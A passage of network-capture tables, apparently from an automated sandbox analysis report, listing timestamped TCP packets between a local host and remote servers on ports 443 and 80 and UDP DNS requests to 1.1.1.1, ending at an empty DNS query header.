Nov 15, 2024 11:24:52.571333885 CET	443	49832	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.693519115 CET	443	49833	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.693659067 CET	49833	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.695081949 CET	49833	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.695097923 CET	443	49833	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.695310116 CET	443	49833	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.695377111 CET	49833	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.695801973 CET	49833	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.739339113 CET	443	49833	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.821631908 CET	443	49830	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.821796894 CET	49830	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.821857929 CET	443	49830	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.821929932 CET	49830	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.821991920 CET	49830	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.822052956 CET	443	49830	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.822105885 CET	49830	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.822443008 CET	49836	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.822487116 CET	443	49836	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.822560072 CET	49836	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.822782040 CET	49836	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.822802067 CET	443	49836	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.850234032 CET	443	49831	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.850315094 CET	49831	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.850384951 CET	49831	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.850706100 CET	443	49831	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.850763083 CET	49837	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.850774050 CET	49831	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.850792885 CET	443	49837	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.850852013 CET	49837	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.851008892 CET	49837	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.851022959 CET	443	49837	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.928621054 CET	443	49832	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.928711891 CET	49832	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.928721905 CET	443	49832	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.928766966 CET	49832	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.928771973 CET	443	49832	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.928814888 CET	49832	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.928819895 CET	443	49832	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.928860903 CET	49832	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.929572105 CET	49832	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.929649115 CET	443	49832	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.929713011 CET	49832	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.930087090 CET	49838	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.930120945 CET	443	49838	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.930190086 CET	49838	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.930392981 CET	49838	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.930408001 CET	443	49838	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.943803072 CET	49833	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.943828106 CET	49836	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.943856001 CET	49837	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.944170952 CET	49839	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.944195986 CET	443	49839	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.944264889 CET	49839	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.944395065 CET	49840	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.944420099 CET	443	49840	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.944441080 CET	49839	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:52.944459915 CET	443	49839	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:52.944468975 CET	49840	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.944704056 CET	49840	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.944715977 CET	443	49840	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.944860935 CET	49841	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.944890976 CET	443	49841	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:52.944952965 CET	49841	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.945230007 CET	49841	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:52.945247889 CET	443	49841	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:53.790644884 CET	443	49841	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:53.790832043 CET	49841	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:53.791016102 CET	443	49840	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:53.791085005 CET	49840	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:53.791696072 CET	443	49840	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:53.791737080 CET	443	49841	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:53.791753054 CET	49840	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:53.791799068 CET	49841	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:53.793723106 CET	49840	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:53.793730974 CET	443	49840	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:53.793906927 CET	49841	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:53.793936968 CET	443	49841	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:53.793992043 CET	443	49840	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:53.794048071 CET	49840	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:53.794307947 CET	443	49841	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:53.794368982 CET	49841	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:53.794506073 CET	49840	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:53.794723034 CET	49841	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:53.797606945 CET	443	49838	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:53.797673941 CET	49838	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:53.797926903 CET	49838	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:53.797935963 CET	443	49838	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:53.800178051 CET	49838	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:53.800183058 CET	443	49838	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:53.831139088 CET	443	49839	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:53.831370115 CET	49839	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:53.831757069 CET	49839	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:53.831758022 CET	49839	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:53.831814051 CET	443	49839	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:53.831868887 CET	443	49839	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:53.835330963 CET	443	49840	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:53.839337111 CET	443	49841	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:54.147224903 CET	443	49841	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:54.147358894 CET	49841	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:54.147422075 CET	443	49841	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:54.147510052 CET	49841	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:54.147571087 CET	49841	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:54.147701025 CET	443	49841	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:54.147773027 CET	49841	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:54.148075104 CET	49842	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:54.148116112 CET	443	49842	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:54.148190975 CET	49842	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:54.148406982 CET	49842	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:54.148423910 CET	443	49842	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:54.151668072 CET	443	49840	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:54.151752949 CET	49840	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:54.151763916 CET	443	49840	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:54.151813030 CET	49840	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:54.151846886 CET	49840	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:54.151932001 CET	443	49840	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:54.151983023 CET	49840	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:54.152319908 CET	49843	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:54.152379036 CET	443	49843	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:54.152451038 CET	49843	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:54.152683973 CET	49843	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:54.152704954 CET	443	49843	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:54.210465908 CET	443	49838	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:54.210576057 CET	49838	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.210597038 CET	443	49838	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:54.210642099 CET	49838	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.210648060 CET	443	49838	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:54.210695982 CET	49838	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.210700989 CET	443	49838	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:54.210741043 CET	49838	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.211338043 CET	49838	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.211419106 CET	443	49838	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:54.211479902 CET	49838	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.211810112 CET	49845	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.211827993 CET	443	49845	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:54.211891890 CET	49845	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.212058067 CET	49845	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.212069988 CET	443	49845	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:54.359745026 CET	443	49839	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:54.359838963 CET	49839	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.359877110 CET	443	49839	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:54.359904051 CET	443	49839	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:54.359935045 CET	49839	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.359971046 CET	49839	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.359987020 CET	443	49839	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:54.360037088 CET	49839	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.360573053 CET	49839	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.360658884 CET	443	49839	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:54.360723972 CET	49839	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.361067057 CET	49846	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.361125946 CET	443	49846	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:54.361216068 CET	49846	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.361515999 CET	49846	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:54.361546993 CET	443	49846	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.001332998 CET	443	49842	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.001487970 CET	49842	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.001983881 CET	443	49842	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.002042055 CET	49842	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.006035089 CET	49842	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.006041050 CET	443	49842	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.006406069 CET	443	49842	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.006504059 CET	49842	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.006925106 CET	49842	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.008917093 CET	443	49843	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.009033918 CET	49843	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.011687040 CET	443	49843	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.011765003 CET	49843	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.013555050 CET	49843	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.013581038 CET	443	49843	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.013963938 CET	443	49843	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.014020920 CET	49843	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.014388084 CET	49843	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.047409058 CET	443	49842	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.055337906 CET	443	49843	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.090581894 CET	443	49845	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.090711117 CET	49845	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.092691898 CET	49845	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.092705011 CET	443	49845	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.093101978 CET	443	49845	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.093163013 CET	49845	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.093559980 CET	49845	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.135330915 CET	443	49845	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.217585087 CET	443	49846	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.217856884 CET	49846	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.219172955 CET	49846	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.219227076 CET	443	49846	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.220240116 CET	443	49846	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.220323086 CET	49846	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.220717907 CET	49846	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.267330885 CET	443	49846	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.374335051 CET	443	49842	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.374397993 CET	49842	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.374485016 CET	49842	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.374516964 CET	443	49842	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.374564886 CET	49842	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.375067949 CET	49849	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.375097036 CET	443	49849	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.375168085 CET	49849	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.375447035 CET	49849	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.375456095 CET	443	49849	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.382535934 CET	443	49843	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.382621050 CET	49843	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.382652044 CET	443	49843	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.382719994 CET	49843	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.382841110 CET	49843	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.382910013 CET	443	49843	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.382972002 CET	49843	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.383153915 CET	49850	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.383187056 CET	443	49850	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.383270025 CET	49850	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.383435965 CET	49850	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:55.383451939 CET	443	49850	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:55.628427029 CET	443	49845	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.628540993 CET	443	49845	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.628545046 CET	49845	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.628578901 CET	443	49845	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.628606081 CET	49845	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.628654003 CET	49845	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.628660917 CET	443	49845	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.628701925 CET	49845	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.629564047 CET	49845	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.629652023 CET	443	49845	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.629729986 CET	49845	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.630261898 CET	49851	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.630305052 CET	443	49851	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.630387068 CET	49851	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.630582094 CET	49851	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.630597115 CET	443	49851	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.631102085 CET	443	49846	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.631306887 CET	49846	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.631381989 CET	443	49846	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.631470919 CET	49846	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.631813049 CET	443	49846	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.631881952 CET	49846	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.631896973 CET	443	49846	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.631953001 CET	49846	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.631999969 CET	49846	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.632060051 CET	443	49846	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.632123947 CET	49846	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.632339001 CET	49852	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.632405043 CET	443	49852	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:55.632492065 CET	49852	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.632632017 CET	49852	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:55.632662058 CET	443	49852	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:56.233066082 CET	443	49849	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:56.233277082 CET	49849	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:56.236048937 CET	443	49849	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:56.236155033 CET	49849	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:56.237687111 CET	49849	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:56.237708092 CET	443	49849	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:56.238579988 CET	443	49849	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:56.238718033 CET	49849	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:56.239079952 CET	49849	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:56.240063906 CET	443	49850	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:56.240180016 CET	49850	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:56.241321087 CET	443	49850	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:56.241410971 CET	49850	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:56.242611885 CET	49850	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:56.242639065 CET	443	49850	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:56.243066072 CET	443	49850	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:56.243144989 CET	49850	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:56.243421078 CET	49850	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:56.279334068 CET	443	49849	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:56.287332058 CET	443	49850	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:56.489676952 CET	443	49851	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:56.489774942 CET	49851	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:56.514050007 CET	443	49852	142.250.185.65	192.168.2.16
Nov 15, 2024 11:24:56.514143944 CET	49852	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:24:56.599174023 CET	443	49850	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:56.599296093 CET	49850	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:56.599462032 CET	443	49849	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:56.599539042 CET	49849	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:56.599570990 CET	443	49849	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:56.599627018 CET	49849	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:56.719664097 CET	443	49850	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:56.719793081 CET	49850	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:56.719805002 CET	443	49850	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:56.719867945 CET	49850	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:56.724976063 CET	443	49849	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:56.725066900 CET	49849	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:24:56.725157022 CET	443	49849	142.250.185.78	192.168.2.16
Nov 15, 2024 11:24:56.725212097 CET	49849	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:25:00.991406918 CET	49850	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:25:00.991487980 CET	443	49850	142.250.185.78	192.168.2.16
Nov 15, 2024 11:25:00.991523981 CET	49850	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:25:00.991565943 CET	49850	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:25:00.991689920 CET	49849	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:25:00.991729975 CET	443	49849	142.250.185.78	192.168.2.16
Nov 15, 2024 11:25:00.992502928 CET	49854	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:25:00.992541075 CET	443	49854	142.250.185.78	192.168.2.16
Nov 15, 2024 11:25:00.992621899 CET	49854	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:25:00.992743015 CET	49855	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:25:00.992831945 CET	443	49855	142.250.185.78	192.168.2.16
Nov 15, 2024 11:25:00.992898941 CET	49855	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:25:00.993154049 CET	49854	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:25:00.993168116 CET	443	49854	142.250.185.78	192.168.2.16
Nov 15, 2024 11:25:00.993541002 CET	49855	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:25:00.993618011 CET	443	49855	142.250.185.78	192.168.2.16
Nov 15, 2024 11:25:00.995587111 CET	49852	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:25:00.995610952 CET	49851	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:25:00.995651007 CET	443	49851	142.250.185.65	192.168.2.16
Nov 15, 2024 11:25:00.995677948 CET	443	49852	142.250.185.65	192.168.2.16
Nov 15, 2024 11:25:00.996602058 CET	443	49852	142.250.185.65	192.168.2.16
Nov 15, 2024 11:25:00.996625900 CET	443	49851	142.250.185.65	192.168.2.16
Nov 15, 2024 11:25:00.996682882 CET	49852	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:25:00.996717930 CET	49851	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:25:01.843790054 CET	443	49855	142.250.185.78	192.168.2.16
Nov 15, 2024 11:25:01.843978882 CET	49855	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:25:01.858946085 CET	443	49854	142.250.185.78	192.168.2.16
Nov 15, 2024 11:25:01.859009981 CET	49854	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:25:02.973295927 CET	49771	80	192.168.2.16	69.42.215.252
Nov 15, 2024 11:25:02.974498987 CET	49851	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:25:02.974518061 CET	49852	443	192.168.2.16	142.250.185.65
Nov 15, 2024 11:25:02.974586964 CET	49854	443	192.168.2.16	142.250.185.78
Nov 15, 2024 11:25:02.974612951 CET	49855	443	192.168.2.16	142.250.185.78

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2024 11:23:34.683109045 CET	59782	53	192.168.2.16	1.1.1.1
Nov 15, 2024 11:23:34.690319061 CET	53	59782	1.1.1.1	192.168.2.16
Nov 15, 2024 11:23:35.561999083 CET	50287	53	192.168.2.16	1.1.1.1
Nov 15, 2024 11:23:35.569880009 CET	53	50287	1.1.1.1	192.168.2.16
Nov 15, 2024 11:23:35.575030088 CET	64793	53	192.168.2.16	1.1.1.1
Nov 15, 2024 11:23:35.583574057 CET	53	64793	1.1.1.1	192.168.2.16
Nov 15, 2024 11:23:35.974428892 CET	55093	53	192.168.2.16	1.1.1.1
Nov 15, 2024 11:23:35.981528997 CET	53	55093	1.1.1.1	192.168.2.16
Nov 15, 2024 11:23:41.946686029 CET	57984	53	192.168.2.16	1.1.1.1
Nov 15, 2024 11:23:42.092784882 CET	53	57984	1.1.1.1	192.168.2.16
Nov 15, 2024 11:23:46.594997883 CET	49327	53	192.168.2.16	1.1.1.1
Nov 15, 2024 11:23:46.602283001 CET	53	49327	1.1.1.1	192.168.2.16
Nov 15, 2024 11:24:36.520792007 CET	59089	53	192.168.2.16	1.1.1.1
Nov 15, 2024 11:24:36.527861118 CET	53	59089	1.1.1.1	192.168.2.16
Nov 15, 2024 11:24:37.365261078 CET	59759	53	192.168.2.16	1.1.1.1
Nov 15, 2024 11:24:37.373271942 CET	53	59759	1.1.1.1	192.168.2.16
Nov 15, 2024 11:24:37.376374006 CET	61841	53	192.168.2.16	1.1.1.1
Nov 15, 2024 11:24:37.484783888 CET	53	61841	1.1.1.1	192.168.2.16
Nov 15, 2024 11:24:43.953967094 CET	57128	53	192.168.2.16	1.1.1.1
Nov 15, 2024 11:24:43.962208033 CET	53	57128	1.1.1.1	192.168.2.16
Nov 15, 2024 11:24:48.467972994 CET	50986	53	192.168.2.16	1.1.1.1
Nov 15, 2024 11:24:48.475939989 CET	53	50986	1.1.1.1	192.168.2.16
Nov 15, 2024 11:24:54.158221960 CET	52872	53	192.168.2.16	1.1.1.1
Nov 15, 2024 11:24:54.165884018 CET	53	52872	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
